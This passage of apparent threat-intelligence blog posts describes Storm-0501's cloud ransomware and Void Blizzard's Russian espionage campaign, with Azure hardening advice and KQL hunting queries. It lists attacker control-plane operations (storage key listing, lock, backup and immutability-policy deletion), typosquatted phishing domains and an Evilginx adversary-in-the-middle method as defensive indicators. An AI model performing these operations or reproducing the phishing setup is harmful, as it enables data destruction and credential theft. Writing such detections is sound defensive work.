• Implement Azure Blog Storage security recommendations for enhanced data protection.
• Utilize the options available for data protection in Azure Storage.
• Enable immutable storage for Azure Blob Storage to protect from accidental or malicious modification or deletion of blobs or storage accounts.
• Apply Azure Resource Manager locks to protect from accidental or malicious modifications or deletions of storage accounts.
• Enable Azure Monitor for Azure Blob Storage to collect, aggregate, and log data to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Enabled Microsoft Defender for Storage using a built-in Azure policy.
• After enabling Microsoft Defender for Storage as part of Defender for Cloud, utilize the CloudStorageAggregatedEvents (preview) table in advanced hunting to proactively hunt for storage malicious activity.
• Enable Azure blob backup to protect from accidental or malicious deletions of blobs or storage accounts.
• Apply the principle of least privilege when authorizing access to blob data in Azure Storage using Microsoft Entra and RBAC and configure fine-grained Azure Blob Storage access for sensitive data access through Azure ABAC.
• Use private endpoints for Azure Storage account access to disable public network access for increased security.
• Avoid using anonymous read access for blob data.
• Enable purge protection in Azure Key Vaults to prevent immediate, irreversible deletion of vaults and secrets. Use the default retention interval of 90 days.
• Enable logs in Azure Key Vault and retain them for up to a year to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Enable Microsoft Azure Backup for virtual machines to protect the data on your Microsoft Azure virtual machines, and to create recovery points that are stored in geo-redundant recovery vaults.

General hygiene recommendations

• Utilize Microsoft Security Exposure Management, available in the Microsoft Defender portal, with capabilities such as critical asset protection and attack path analysis that enable security teams to proactively reduce exposure and mitigate the impact of Storm-0501 hybrid attack tactics. In this case, each of the critical assets involved – Entra Connect server, users with DCSync permissions, Global Administrators – can be identified by relevant alerts and recommendations.
• Investigate on-premises and hybrid Microsoft Security Exposure Management attack paths. Security teams can use attack path analysis to trace cross-domain threats that exploit the critical Entra Connect server to pivot into cloud workloads, escalate privileges, and expand their reach. Teams can use the ‘Chokepoint’ view in the attack path dashboard in Microsoft Security Exposure Management to highlight entities appearing in multiple paths.
• Utilize the Critical asset management capability in Microsoft Security Exposure Management by configuring your own custom queries to pinpoint your organization’s business-critical assets according to your needs, such as business-critical Azure Storage accounts.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Storm-0501
• Activity Profile: Ransomware actor Storm-0501 expands to hybrid cloud environments

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Sign-in activity

Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related:

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

The activity of the sync account is typically repetitive, coming from the same IP address to the same application. Any deviation from the natural flow is worth investigating. Cloud applications that are usually accessed by the Microsoft Entra ID sync account are Microsoft Azure Active Directory Connect, Windows Azure Active Directory, and Microsoft Online Syndication Partner Portal.

Cloud activity

Explore the cloud activity (ActionType) of the sync account. Similar to sign-in activity, this account by nature performs a certain set of actions including update User., update Device., and so on. New and uncommon activity from this user might indicate an interactive use of the account, which could legitimate action from someone in the organization or malicious action by the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Azure management events

Explore Azure management events by querying the new CloudAuditEvents table in advanced hunting in the Defender portal. The OperationName column indicates the type of control-plane event executed by the user.

let Storm0501Operations = dynamic([
//Microsoft.Authorization
"Microsoft.Authorization/elevateAccess/action",
"Microsoft.Authorization/roleAssignments/write",
"Microsoft.Authorization/locks/delete",
//Microsoft.Storage
"Microsoft.Storage/storageAccounts/write",
"Microsoft.Storage/storageAccounts/listkeys/action",
"Microsoft.Storage/storageAccounts/delete",
"Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete",
"Microsoft.Storage/storageAccounts/encryptionScopes/write",
//Microsoft.Compute
"Microsoft.Compute/snapshots/delete",
"Microsoft.Compute/restorePointCollections/delete",
//Microsoft.RecoveryServices
"Microsoft.RecoveryServices/Vaults/backupFabrics/protectionContainers/delete",
//Microsoft.KeyVault
"Microsoft.KeyVault/vaults/write"
]);
CloudAuditEvents
| where Timestamp > ago(30d)
| where AuditSource == "Azure" and DataSource == "Azure Logs"
| where OperationName in~ (Storm0501Operations)
| extend EventName = RawEventData.eventName
| extend UserId = RawEventData.principalOid, ApplicationId = RawEventData.applicationId
| extend Status = RawEventData.status, SubStatus = RawEventData.subStatus
| extend Claims = parse_json(tostring(RawEventData.claims))
| extend UPN = Claims["http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"]
| extend AuthMethods = Claims["http://schemas.microsoft.com/claims/authnmethodsreferences"]
| project-reorder ReportId, EventName, Timestamp, UPN, UserId, AuthMethods, IPAddress, OperationName, AzureResourceId, Status, SubStatus, ResourceId, Claims, ApplicationId

Exposure of resources and users

Explore Microsoft Security Exposure Management capabilities by querying the ExposureGraphNodes and ExposureGraphEdges tables in the advanced hunting in the Defender portal. By utilizing these tables, you can identify critical assets, including Azure Storage accounts that contain sensitive data or protected by an immutable storage policy. All predefined criticality rules can be found here: Predefined classifications

ExposureGraphNodes
| where NodeLabel =~ "microsoft.storage/storageaccounts"
// Criticality check
| extend CriticalityInfo = NodeProperties["rawData"]["criticalityLevel"]
| where isnotempty( CriticalityInfo)
| extend CriticalityLevel = CriticalityInfo["criticalityLevel"]
| extend CriticalityLevel = case(
            CriticalityLevel == 0, "Critical",
            CriticalityLevel == 1, "High",
            CriticalityLevel == 2, "Medium",
            CriticalityLevel == 3, "Low", "")
| extend CriticalityRules = CriticalityInfo["ruleNames"]
| extend StorageContainsSensitiveData = CriticalityRules has "Databases with Sensitive Data"
| extend ImmutableStorageLocked = CriticalityRules has "Immutable and Locked Azure Storage"
// Exposure check
| extend ExposureInfo = NodeProperties["rawData"]["exposedToInternet"]
| project-reorder NodeName, NodeId, CriticalityLevel, CriticalityRules, StorageContainsSensitiveData, ImmutableStorageLocked, ExposureInfo

The following query can identify critical users who are mainly assigned with privileged Microsoft Entra roles, including Global Administrator:

ExposureGraphNodes
| where NodeLabel =~ "user"
| extend UserId = NodeProperties["rawData"]["accountObjectId"]
| extend IsActive = NodeProperties["rawData"]["isActive"]
// Criticality check
| extend CriticalityInfo = NodeProperties["rawData"]["criticalityLevel"]
| where isnotempty(CriticalityInfo)
| extend CriticalityLevel = CriticalityInfo["criticalityLevel"]
| extend CriticalityLevel = case(
            CriticalityLevel == 0, "Critical",
            CriticalityLevel == 1, "High",
            CriticalityLevel == 2, "Medium",
            CriticalityLevel == 3, "Low", "")
| extend CriticalityRules = CriticalityInfo["ruleNames"]
| extend GlobalAdministrator = CriticalityRules has "Global Administrator"
| project-reorder NodeName, NodeId, UserId, IsActive, CriticalityLevel, CriticalityRules, GlobalAdministrator

Omri Refaeli, Karam Abu Hanna, and Alon Marom

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-0501’s evolving techniques lead to cloud-based ransomware appeared first on Microsoft Security Blog.

Void Blizzard is a new threat actor Microsoft Threat Intelligence has observed conducting espionage operations primarily targeting organizations that are important to Russian government objectives. These include organizations in government, defense, transportation, media, NGOs, and healthcare, especially in Europe and North America. They often use stolen sign-in details that they likely buy from online marketplaces to gain access to organizations. Once inside, they steal large amounts of emails and files. In April 2025, Microsoft Threat Intelligence observed Void Blizzard begin using more direct methods to steal passwords, such as sending fake emails designed to trick people into giving away their login information.

We thank our partners at Netherlands General Intelligence and Security Service (AIVD) and the Netherlands Defence Intelligence and Security Service (MIVD) for the collaboration on investigating Void Blizzard (also known as LAUNDRY BEAR). You can read their statement here. We also thank our partners at the US Federal Bureau of Investigation for their continued collaboration on investigating Void Blizzard targeting.

Microsoft Threat Intelligence Center has discovered a cluster of worldwide cloud abuse activity conducted by a threat actor we track as Void Blizzard (LAUNDRY BEAR), who we assess with high confidence is Russia-affiliated and has been active since at least April 2024. While Void Blizzard has a global reach, their cyberespionage activity disproportionately targets NATO member states and Ukraine, indicating that the actor is likely collecting intelligence to help support Russian strategic objectives. In particular, the threat actor’s prolific activity against networks in critical sectors poses a heightened risk to NATO member states and allies to Ukraine in general.

Void Blizzard’s cyberespionage operations tend to be highly targeted at specific organizations of interest to the Russian government, including in government, defense, transportation, media, non-governmental organizations (NGOs), and healthcare sectors primarily in Europe and North America. The threat actor uses stolen credentials—which are likely procured from commodity infostealer ecosystems—and collects a high volume of email and files from compromised organizations.

In April 2025, Microsoft Threat Intelligence Center observed Void Blizzard evolving their initial access techniques to include targeted spear phishing for credential theft. While Void Blizzard’s tactics, techniques, and procedures (TTPs) are not unique among advanced persistent threat actors or even Russian nation state-sponsored groups, the widespread success of their operations underscores the enduring threat from even unsophisticated TTPs when leveraged by determined actors seeking to collect sensitive information.

In this report, we share our analysis of Void Blizzard’s targeting and TTPs, with the goal of enabling the broader community to apply specific detections and mitigation guidance to disrupt and protect against Void Blizzard’s operations. We extend our gratitude to our partners at the Netherlands General Intelligence and Security Service (AIVD), the Netherlands Defence Intelligence and Security Service (MIVD), and the US Federal Bureau of Investigation for their collaboration in investigating and raising awareness on Void Blizzard activity and tooling to help organizations disrupt and defend against this threat actor.

Void Blizzard targets

Void Blizzard primarily targets NATO member states and Ukraine. Many of the compromised organizations overlap with past—or, in some cases, concurrent—targeting by other well-known Russian state actors, including Forest Blizzard, Midnight Blizzard, and Secret Blizzard. This intersection suggests shared espionage and intelligence collection interests assigned to the parent organizations of these threat actors. Since mid-2024, Microsoft Threat Intelligence has observed Void Blizzard targeting the following industry verticals, many resulting in successful compromises:

• Communications/Telecommunications
• Defense Industrial Base
• Healthcare
• Education
• Government agencies and services
• Information technology
• Intergovernmental organizations
• Media
• NGOs
• Transportation

Void Blizzard regularly targets government organizations and law enforcement agencies, particularly in NATO member states and especially in countries that provide direct military or humanitarian support to Ukraine. Within Ukraine, Void Blizzard has successfully compromised organizations in multiple sectors, including education, transportation, and defense. In October 2024, Void Blizzard compromised several user accounts at a Ukrainian aviation organization that had been previously targeted by Russian General Staff Main Intelligence Directorate (GRU) actor Seashell Blizzard in 2022. This targeting overlap reflects Russia’s long-standing interest in this organization and, more broadly, in aviation-related organizations since Russia’s invasion of Ukraine in 2022. In 2023, another GRU actor, Forest Blizzard, targeted a prominent aviation organization in Ukraine, and since at least August 2024, it has conducted increasing password spray attacks against several NATO member states’ air traffic control providers.

Tools, tactics, and procedures

Initial access

Void Blizzard conducts opportunistic yet targeted high-volume cyberoperations against targets of intelligence value to the Russian government. Their operations predominately leverage unsophisticated techniques for initial access such as password spray and using stolen authentication credentials. Microsoft assesses that Void Blizzard procures cookies and other credentials through criminal ecosystems. These credentials are then used to gain access to Exchange and sometimes SharePoint Online for information collection.

In April 2025, we identified a Void Blizzard adversary-in-the-middle (AitM) spear phishing campaign that targeted over 20 NGO sector organizations in Europe and the United States. The threat actor used a typosquatted domain to spoof the Microsoft Entra authentication portal. Use of a typosquatted domain to spoof Microsoft Entra authentication was a newly observed initial access tactic for this threat actor. This new tactic suggests that Void Blizzard is augmenting their opportunistic but focused access operations with a more targeted approach, increasing the risk for organizations in critical sectors.

In this campaign, the threat actor posed as an organizer from the European Defense and Security Summit and sent emails containing messages with a PDF attachment that lured targets with a fake invitation to the Summit.

The attachment contained a malicious QR code that redirected to Void Blizzard infrastructure micsrosoftonline[.]com, which hosts a credential phishing page spoofing the Microsoft Entra authentication page. We assess that Void Blizzard is using the open-source attack framework Evilginx to conduct the AitM phishing campaign and steal authentication data, including the input username and password and any cookies generated by the server. Evilginx, publicly released in 2017, was the first widely available phishing kit with AitM capabilities.

Post-compromise activity

Despite the lack of sophistication in their initial access methods, Void Blizzard has been effective in gaining access to and collecting information from compromised organizations in critical sectors.

After gaining initial access, Void Blizzard abuses legitimate cloud APIs, such as Exchange Online and Microsoft Graph, to enumerate users’ mailboxes, including any shared mailboxes, and cloud-hosted files. Once accounts are successfully compromised, the actor likely automates the bulk collection of cloud-hosted data (primarily email and files) and any mailboxes or file shares that the compromised user can access, which can include mailboxes and folders belonging to other users who have granted other users read permissions.

In a small number of Void Blizzard compromises, Microsoft Threat Intelligence has also observed the threat actor accessing Microsoft Teams conversations and messages via the Microsoft Teams web client application. The threat actor has also in some cases enumerated the compromised organization’s Microsoft Entra ID configuration using the publicly available AzureHound tool to gain information about the users, roles, groups, applications, and devices belonging to that tenant.

Mitigation and protection guidance

Microsoft Threat Intelligence recommends organizations that are most likely at risk, primarily those in critical sectors including government and defense, to implement the following recommendations to mitigate against Void Blizzard activity:

Hardening identity and authentication

• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request isn’t authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluate the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
• Require multifactor authentication (MFA). While certain attacks attempt to circumvent MFA, implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Microsoft Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop attackers.

Hardening email security

• Manage mailbox auditing to ensure actions performed by mailbox owners, delegates, and admins are automatically logged. New mailboxes should already have this feature turned on by default.
• Run a non-owner mailbox access report in the Exchange Admin Center to detect unauthorized access onto a mailbox.

Hardening against post-compromise activity

• If a breach or compromise via commodity info stealer is suspected, ensure that any accounts that may have been accessed by that machine have their credentials rotated in addition to removing the malware. Given the widespread use of infostealers in attacks, organizations should immediately respond to infostealer activity and mitigate the risk of credential theft to prevent follow-on malicious activity.
• Conduct an audit search in the Microsoft Graph API for anomalous activity.
• Create Defender for Cloud Apps anomaly detection policies.
• Prevent, detect or investigate possible token theft activity by reviewing mitigation techniques.
• If you suspect password spray activity against your organization’s networks, you can refer to this guide for password spray investigation.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender for Endpoint

The following alert indicates threat actor activity related to Void Blizzard. Note, however, that this alert can be also triggered by Void Blizzard activity that is not related to the activity covered in this report.

• Void Blizzard activity

The following alerts might indicate credential theft activity related to Void Blizzard utilizing commodity information stealers or conducting password spraying techniques. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Information stealing malware activity
• Password spraying

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate associated threat activity. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Password Spray
• Unfamiliar Sign-in properties
• Atypical travel
• Suspicious behavior: Impossible travel activity

Microsoft Defender for Cloud Apps

The following Microsoft Defender for Cloud Apps alerts can indicate associated threat activity. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Impossible travel
• Activity from suspicious IP addresses
• Unusual activities (by user)

Microsoft Defender for Cloud

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• AzureHound tool invocation detected
• Communication with possible phishing domain
• Communication with suspicious domain identified by threat intelligence

Microsoft Entra ID Protection

The following Microsoft Entra ID Protection risk detections inform Entra ID user risk events and can indicate associated threat activity, including unusual user activity consistent with known attack patterns identified by Microsoft Threat Intelligence research. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Anomalous Token (sign-in) (RiskEventType: anomalousToken)
• Password spray (RiskEventType: passwordSpray)
• Anomalous Token (user) (RiskEventType: anomalousToken)
• Attacker in the Middle (RiskEventType: attackerinTheMiddle)
• Activity from Anonymous IP address (RiskEventType: anonymizedIPAddress)
• Microsoft Entra threat intelligence (sign-in): (RiskEventType: investigationsThreatIntelligence)
• Suspicious API Traffic (RiskEventType: suspiciousAPITraffic)

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Void Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can find related Void Blizzard spear phishing activity related to this threat in their networks by running the following queries.

Possible phishing email targets

The following query can help identify possible email targets of Void Blizzard’s spear phishing attempts

EmailEvents
| where SenderFromDomain in~ ("ebsumrnit.eu")
| project SenderFromDomain, SenderFromAddress, RecipientEmailAddress, Subject, Timestamp

Communication with Void Blizzard domain

The following query can help surface devices that might have communicated with Void Blizzard’s spear phishing domain:

let domainList = dynamic(["micsrosoftonline.com", "outlook-office.micsrosoftonline.com"]);
union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    VMConnection
    | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames)
    | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames
    | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList)
    | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection"
),
(
    W3CIISLog
    | where csHost has_any(domainList) or csReferer has_any(domainList)
    | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc

Microsoft Sentinel

The Microsoft blog Web Shell Threat Hunting with Azure Sentinel provides hunting queries and techniques for Sentinel-specific threat hunting. Several hunting queries are also available below. 

NOTE: Microsoft Sentinel customers can use the following queries to detect phishing attempts and email exfiltration attempts via Graph API. While these queries are not specific to threat actors, they can help you stay vigilant and safeguard your organization from phishing attacks. These queries search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potentially related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

If a query provides high value insights into possible malicious or otherwise anomalous behavior, you can create a custom detection rule based on that query and surface those insights as custom alerts. To do this in the Defender XDR portal, run the query in the Advanced hunting page and select Create detection rule. To do this in the Sentinel portal, use hunting capabilities to run and view the query’s results, then select New alert rule > Create Microsoft Sentinel alert.

Campaign with suspicious keywords

In this detection, we track emails with suspicious keywords in subjects.

let PhishingKeywords = ()
  {pack_array("account", "alert", "bank", "billing", "card", "change", "confirmation","login", "password", "mfa", "authorize", "authenticate", "payment", "urgent", "verify", "blocked");};
  EmailEvents
  | where Timestamp > ago(1d)
  | where EmailDirection == "Inbound"
  | where DeliveryAction == "Delivered"
  | where isempty(SenderObjectId)
  | where Subject has_any (PhishingKeywords())

Determine successfully delivered phishing emails to Inbox/Junk folder

This query identifies threats which got successfully delivered to Inbox/Junk folder.

EmailEvents
  | where isnotempty(ThreatTypes) and DeliveryLocation in~ ("Inbox/folder","Junk folder")
  | extend Name = tostring(split(SenderFromAddress, '@', 0)[0]), UPNSuffix = tostring(split(SenderFromAddress, '@', 1)[0])
  | extend Account_0_Name = Name
  | extend Account_0_UPNSuffix = UPNSuffix
  | extend IP_0_Address = SenderIPv4
  | extend MailBox_0_MailboxPrimaryAddress = RecipientEmailAddress

Successful sign-in from phishing link

This content is employed to correlate with Microsoft Defender XDR phishing-related alerts. It focuses on instances where a user successfully connects to a phishing URL from a non-Microsoft network device and subsequently makes successful sign-in attempts from the phishing IP address.

let Alert_List= dynamic([
    "Phishing link click observed in Network Traffic",
    "Phish delivered due to an IP allow policy",
    "A potentially malicious URL click was detected",
    "High Risk Sign-in Observed in Network Traffic",
    "A user clicked through to a potentially malicious URL",
    "Suspicious network connection to AitM phishing site",
    "Messages containing malicious entity not removed after delivery",
    "Email messages containing malicious URL removed after delivery",
    "Email reported by user as malware or phish",
    "Phish delivered due to an ETR override",
    "Phish not zapped because ZAP is disabled"]);
    SecurityAlert
    | where AlertName in~ (Alert_List)
    //Findling Alerts which has the URL
    | where Entities has "url"
    //extracting Entities
    | extend Entities = parse_json(Entities)
    | mv-apply Entity = Entities on
        (
        where Entity.Type == 'url'
        | extend EntityUrl = tostring(Entity.Url)
        )
    | summarize
        Url=tostring(tolower(take_any(EntityUrl))),
        AlertTime= min(TimeGenerated),
        make_set(SystemAlertId, 100)
        by ProductName, AlertName
    // matching with 3rd party network logs and 3p Alerts
    | join kind= inner (CommonSecurityLog
        | where DeviceVendor has_any  ("Palo Alto Networks", "Fortinet", "Check Point", "Zscaler")
        | where DeviceProduct startswith "FortiGate" or DeviceProduct startswith  "PAN" or DeviceProduct startswith  "VPN" or DeviceProduct startswith "FireWall" or DeviceProduct startswith  "NSSWeblog" or DeviceProduct startswith "URL"
        | where DeviceAction != "Block"
        | where isnotempty(RequestURL)
        | project
            3plogTime=TimeGenerated,
            DeviceVendor,
            DeviceProduct,
            Activity,
            DestinationHostName,
            DestinationIP,
            RequestURL=tostring(tolower(RequestURL)),
            MaliciousIP,
            SourceUserName=tostring(tolower(SourceUserName)),
            IndicatorThreatType,
            ThreatSeverity,
            ThreatConfidence,
            SourceUserID,
            SourceHostName)
        on $left.Url == $right.RequestURL
    // matching successful Login from suspicious IP
    | join kind=inner (SigninLogs
        //filtering the Successful Login
        | where ResultType == 0
        | project
            IPAddress,
            SourceSystem,
            SigniningTime= TimeGenerated,
            OperationName,
            ResultType,
            ResultDescription,
            AlternateSignInName,
            AppDisplayName,
            AuthenticationRequirement,
            ClientAppUsed,
            RiskState,
            RiskLevelDuringSignIn,
            UserPrincipalName=tostring(tolower(UserPrincipalName)),
            Name = tostring(split(UserPrincipalName, "@")[0]),
            UPNSuffix =tostring(split(UserPrincipalName, "@")[1]))
        on $left.DestinationIP == $right.IPAddress and $left.SourceUserName == $right.UserPrincipalName
    | where SigniningTime between ((AlertTime - 6h) .. (AlertTime + 6h)) and 3plogTime between ((AlertTime - 6h) .. (AlertTime + 6h))

Phishing link click observed in network traffic

The purpose of this content is to identify successful phishing links accessed by users. Once a user clicks on a phishing link, we observe successful network activity originating from non-Microsoft network devices.

//Finding MDO Security alerts and extracting the Entities user, Domain, Ip, and URL.
    let Alert_List= dynamic([
    "Phishing link click observed in Network Traffic",
    "Phish delivered due to an IP allow policy",
    "A potentially malicious URL click was detected",
    "High Risk Sign-in Observed in Network Traffic",
    "A user clicked through to a potentially malicious URL",
    "Suspicious network connection to AitM phishing site",
    "Messages containing malicious entity not removed after delivery",
    "Email messages containing malicious URL removed after delivery",
    "Email reported by user as malware or phish",
    "Phish delivered due to an ETR override",
    "Phish not zapped because ZAP is disabled"]);
    SecurityAlert
    |where ProviderName in~ ("Office 365 Advanced Threat Protection", "OATP")
    | where AlertName in~ (Alert_List)
    //extracting Alert Entities
     | extend Entities = parse_json(Entities)
    | mv-apply Entity = Entities on
    (
    where Entity.Type == 'account'
    | extend EntityUPN = iff(isempty(Entity.UserPrincipalName), tostring(strcat(Entity.Name, "@", tostring (Entity.UPNSuffix))), tostring(Entity.UserPrincipalName))
    )
    | mv-apply Entity = Entities on
    (
    where Entity.Type == 'url'
    | extend EntityUrl = tostring(Entity.Url)
    )
    | summarize AccountUpn=tolower(tostring(take_any(EntityUPN))),Url=tostring(tolower(take_any(EntityUrl))),AlertTime= min(TimeGenerated)by SystemAlertId, ProductName
    // filtering 3pnetwork devices
    | join kind= inner (CommonSecurityLog
    | where DeviceVendor has_any  ("Palo Alto Networks", "Fortinet", "Check Point", "Zscaler")
    | where DeviceAction != "Block"
    | where DeviceProduct startswith "FortiGate" or DeviceProduct startswith  "PAN" or DeviceProduct startswith  "VPN" or DeviceProduct startswith "FireWall" or DeviceProduct startswith  "NSSWeblog" or DeviceProduct startswith "URL"
    | where isnotempty(RequestURL)
    | where isnotempty(SourceUserName)
    | extend SourceUserName = tolower(SourceUserName)
    | project
    3plogTime=TimeGenerated,
    DeviceVendor,
    DeviceProduct,
    Activity,
    DestinationHostName,
    DestinationIP,
    RequestURL=tostring(tolower(RequestURL)),
    MaliciousIP,
    Name = tostring(split(SourceUserName,"@")[0]),
    UPNSuffix =tostring(split(SourceUserName,"@")[1]),
    SourceUserName,
    IndicatorThreatType,
    ThreatSeverity,AdditionalExtensions,
    ThreatConfidence)on $left.Url == $right.RequestURL and $left.AccountUpn == $right.SourceUserName
    // Applied the condition where alert trigger 1st and then the 3p Network activity execution
    | where AlertTime between ((3plogTime - 1h) .. (3plogTime + 1h))

Suspicious URL clicked

This query correlates Microsoft Defender for Office 365 signals and Microsoft Entra ID identity data to find the relevant endpoint event BrowerLaunchedToOpen in Microsoft Defender ATP. This event reflects relevant clicks on the malicious URL in the spear phishing email recognized by Microsoft Defender for Office 365.

// Some URLs are wrapped with SafeLinks
// Let's get the unwrapped URL and clicks 
  AlertInfo
  | where ServiceSource =~ "Microsoft Defender for Office 365"
  | join (
          AlertEvidence
          | where EntityType =="Url"
          | project AlertId, RemoteUrl 
      )
      on AlertId
  | join (
          AlertEvidence
          | where EntityType =="MailMessage"
          | project AlertId, NetworkMessageId 
      )
      on AlertId
  // Get the unique NetworkMessageId for the email containing the Url
  | distinct RemoteUrl, NetworkMessageId
  | join EmailEvents on NetworkMessageId
  // Get the email RecipientEmailAddress and ObjectId from the email 
  | distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId
  | join kind = inner IdentityInfo on $left.RecipientObjectId  == $right.AccountObjectId 
  // get the UserSid of the Recipient
  | extend OnPremSid = AccountSID
  | distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId, OnPremSid 
  // Get the Url click event on the recipient device.
  | join kind = inner  
      (DeviceEvents 
      | where ActionType == "BrowserLaunchedToOpenUrl"| where isnotempty(RemoteUrl) 
      | project UrlDeviceClickTime = Timestamp , UrlClickedByUserSid = RemoteUrl, 
                  InitiatingProcessAccountSid, DeviceName, DeviceId, InitiatingProcessFileName
      ) 
